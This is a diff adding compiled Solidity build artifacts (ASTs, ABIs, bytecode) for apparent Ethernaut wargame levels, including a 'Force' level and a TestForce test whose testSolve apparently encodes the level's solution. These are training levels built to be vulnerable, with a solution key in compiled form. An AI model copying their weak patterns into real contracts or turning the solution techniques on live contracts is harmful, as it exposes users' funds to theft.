Fallout"}},"value":null,"visibility":"internal"}],"id":1088,"initialValue":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1086,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1075,"src":"479:9:7","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":1085,"name":"Fallout","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1045,"src":"471:7:7","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Fallout_$1045_$","typeString":"type(contract Fallout)"}},"id":1087,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"471:18:7","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$1045","typeString":"contract Fallout"}},"nodeType":"VariableDeclarationStatement","src":"452:37:7"},{"expression":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":1093,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"arguments":[],"expression":{"argumentTypes":[],"expression":{"argumentTypes":null,"id":1089,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1084,"src":"506:8:7","typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$1045","typeString":"contract Fallout"}},"id":1090,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"owner","nodeType":"MemberAccess","referencedDeclaration":946,"src":"506:14:7","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_payable_$","typeString":"function () view external returns (address payable)"}},"id":1091,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"506:16:7","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"argumentTypes":null,"id":1092,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1077,"src":"526:7:7","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"506:27:7","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":1082,"id":1094,"nodeType":"Return","src":"499:34:7"}]},"baseFunctions":[1739],"documentation":null,"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","overrides":{"id":1079,"nodeType":"OverrideSpecifier","overrides":[],"src":"418:8:7"},"parameters":{"id":1078,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1075,"mutability":"mutable","name":"_instance","nodeType":"VariableDeclaration","overrides":null,"scope":1096,"src":"367:25:7","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":1074,"name":"address","nodeType":"ElementaryTypeName","src":"367:15:7","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"value":null,"visibility":"internal"},{"constant":false,"id":1077,"mutability":"mutable","name":"_player","nodeType":"VariableDeclaration","overrides":null,"scope":1096,"src":"394:15:7","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1076,"name":"address","nodeType":"ElementaryTypeName","src":"394:7:7","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"366:44:7"},"returnParameters":{"id":1082,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1081,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":1096,"src":"436:4:7","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":1080,"name":"bool","nodeType":"ElementaryTypeName","src":"436:4:7","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"}],"src":"435:6:7"},"scope":1097,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"arguments":null,"baseName":{"contractScope":null,"id":1050,"name":"Level","nodeType":"UserDefinedTypeName","referencedDeclaration":1740,"src":"140:5:7","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$1740","typeString":"contract Level"}},"id":1051,"nodeType":"InheritanceSpecifier","src":"140:5:7"}],"contractDependencies":[109,849,1045,1740],"contractKind":"contract","documentation":null,"fullyImplemented":true,"linearizedBaseContracts":[1097,1740,109,849],"name":"FalloutFactory","scope":1098}],"license":"MIT"},"id":7} \ No newline at end of file diff --git a/contracts/out/Force.sol/Force.json b/contracts/out/Force.sol/Force.json new file mode 100644 index 000000000..8c52fcfcf --- /dev/null +++ b/contracts/out/Force.sol/Force.json @@ -0,0 +1 @@ +{"abi":[],"bytecode":{"object":"0x6080604052348015600e575f80fd5b50603e80601a5f395ff3fe60806040525f80fdfea2646970667358221220e3b0b9bf7dd6f741bba8d6f65db7b1b33c574ceb32447d884b9ba5c775b7c31664736f6c63430008180033","sourceMap":"57:142:79:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x60806040525f80fdfea2646970667358221220e3b0b9bf7dd6f741bba8d6f65db7b1b33c574ceb32447d884b9ba5c775b7c31664736f6c63430008180033","sourceMap":"57:142:79:-:0;;;;;","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Force.sol\":\"Force\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/Force.sol\":{\"keccak256\":\"0xe0b01e8442119a27b773c712fc99f775af06e5e18ddd883502904d58c2f437ff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8aeecfc98216fdc0e1de09688aee2bdb83511153ccf12aa202ade2d8c7df0c74\",\"dweb:/ipfs/QmPoyEcDaUF3DLa7yjtomtacGL6QQFVbNPfLwniCSGLXpF\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Force.sol":"Force"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/Force.sol":{"keccak256":"0xe0b01e8442119a27b773c712fc99f775af06e5e18ddd883502904d58c2f437ff","urls":["bzz-raw://8aeecfc98216fdc0e1de09688aee2bdb83511153ccf12aa202ade2d8c7df0c74","dweb:/ipfs/QmPoyEcDaUF3DLa7yjtomtacGL6QQFVbNPfLwniCSGLXpF"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Force.sol","id":52438,"exportedSymbols":{"Force":[52437]},"nodeType":"SourceUnit","src":"32:168:79","nodes":[{"id":52436,"nodeType":"PragmaDirective","src":"32:23:79","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":52437,"nodeType":"ContractDefinition","src":"57:142:79","nodes":[],"abstract":false,"baseContracts":[],"canonicalName":"Force","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[52437],"name":"Force","nameLocation":"66:5:79","scope":52438,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":79} \ No newline at end of file diff --git a/contracts/out/Force.t.sol/TestForce.json b/contracts/out/Force.t.sol/TestForce.json new file mode 100644 index 000000000..d0e54aa69 --- /dev/null +++ b/contracts/out/Force.t.sol/TestForce.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50616054806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b29565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001b6c565b620001b3620001fa36600462001c58565b62000a2b565b6200020a62000bf6565b604051620001c7919062001d2b565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001dee565b620001da6200025736600462001ebb565b62000ef8565b6200019a62001088565b62000271620011c7565b604051620001c7919062001ed3565b620001b36200029136600462001f39565b6200129c565b62000237620013bb565b620002b8620002b236600462001f57565b620014b5565b6040519015158152602001620001c7565b6200027162001645565b6200019a6200171a565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b8620017b3565b620001da62001887565b6200019a6200032f36600462001ebb565b620018e7565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f8151811062000367576200036762001f93565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001f93565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b031690506200129c565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001acf565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f919081019062002034565b90508060018251620009829190620021c4565b8151811062000995576200099562001f93565b60200260200101515f0151600281518110620009b557620009b562001f93565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab49190810190620021da565b90505f81848560405160200162000acd9291906200222c565b60408051601f198184030181529082905262000aed9291602001620022da565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b519085906004016200230c565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b959190810190620021da565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200195b90919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b9062002320565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb99062002320565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001bba565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb491906200235a565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f62001f93565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010df575f80fd5b505af1158015620010f2573d5f803e3d5ffd5b505050505f6001604051620011079062001add565b6040518091039082f090508015801562001123573d5f803e3d5ffd5b506021546040517fd018db3e0000000000000000000000000000000000000000000000000000000081526001600160a01b03918216600482015291925082169063d018db3e906024015f604051808303815f87803b15801562001184575f80fd5b505af115801562001197573d5f803e3d5ffd5b5050602054602154620011c49350620011be92506001600160a01b039182169116620014b5565b620019fd565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f200180546200120a9062002320565b80601f0160208091040260200160405190810160405280929190818152602001828054620012389062002320565b8015620012875780601f106200125d5761010080835404028352916020019162001287565b820191905f5260205f20905b8154815290600101906020018083116200126957829003601f168201915b505050505081526020019060010190620011ea565b5f80604051620012ac9062001aea565b604051809103905ff080158015620012c6573d5f803e3d5ffd5b5090505f604051620012d89062001af8565b604051809103905ff080158015620012f2573d5f803e3d5ffd5b508483604051620013039062001b06565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff0801580156200133d573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b1580156200139c575f80fd5b505af1158015620013af573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200149c57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014485790505b50505050508152505081526020019060010190620013de565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001511575f80fd5b505af115801562001524573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001582575f80fd5b505af115801562001595573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af1158015620015f9573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001622919081019062002034565b90506001815111156200163a5760019150506200163f565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620016889062002320565b80601f0160208091040260200160405190810160405280929190818152602001828054620016b69062002320565b8015620017055780601f10620016db5761010080835404028352916020019162001705565b820191905f5260205f20905b815481529060010190602001808311620016e757829003601f168201915b50505050508152602001906001019062001668565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001771575f80fd5b505af115801562001784573d5f803e3d5ffd5b5050602054602154620017b19350620017ab92506001600160a01b039182169116620014b5565b62001a7c565b565b6008545f9060ff1615620017cb575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa1580156200185a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001880919062002378565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f620018f4824362002390565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620019b29086908690600401620023a6565b5f60405180830381865afa158015620019cd573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620019f69190810190620023d7565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001a62575f80fd5b505afa15801562001a75573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001a4b565b61042d806200240e83390190565b60db806200283b83390190565b610ae5806200291683390190565b611e7a80620033fb83390190565b610daa806200527583390190565b6001600160a01b0381168114620011c4575f80fd5b5f805f6060848603121562001b3c575f80fd5b833562001b498162001b14565b9250602084013562001b5b8162001b14565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001bae5783516001600160a01b03168352928401929184019160010162001b87565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001bf45762001bf462001bba565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c265762001c2662001bba565b604052919050565b5f67ffffffffffffffff82111562001c4a5762001c4a62001bba565b50601f01601f191660200190565b5f6020828403121562001c69575f80fd5b813567ffffffffffffffff81111562001c80575f80fd5b8201601f8101841362001c91575f80fd5b803562001ca862001ca28262001c2e565b62001bfa565b81815285602083850101111562001cbd575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001cf65781810151838201526020016200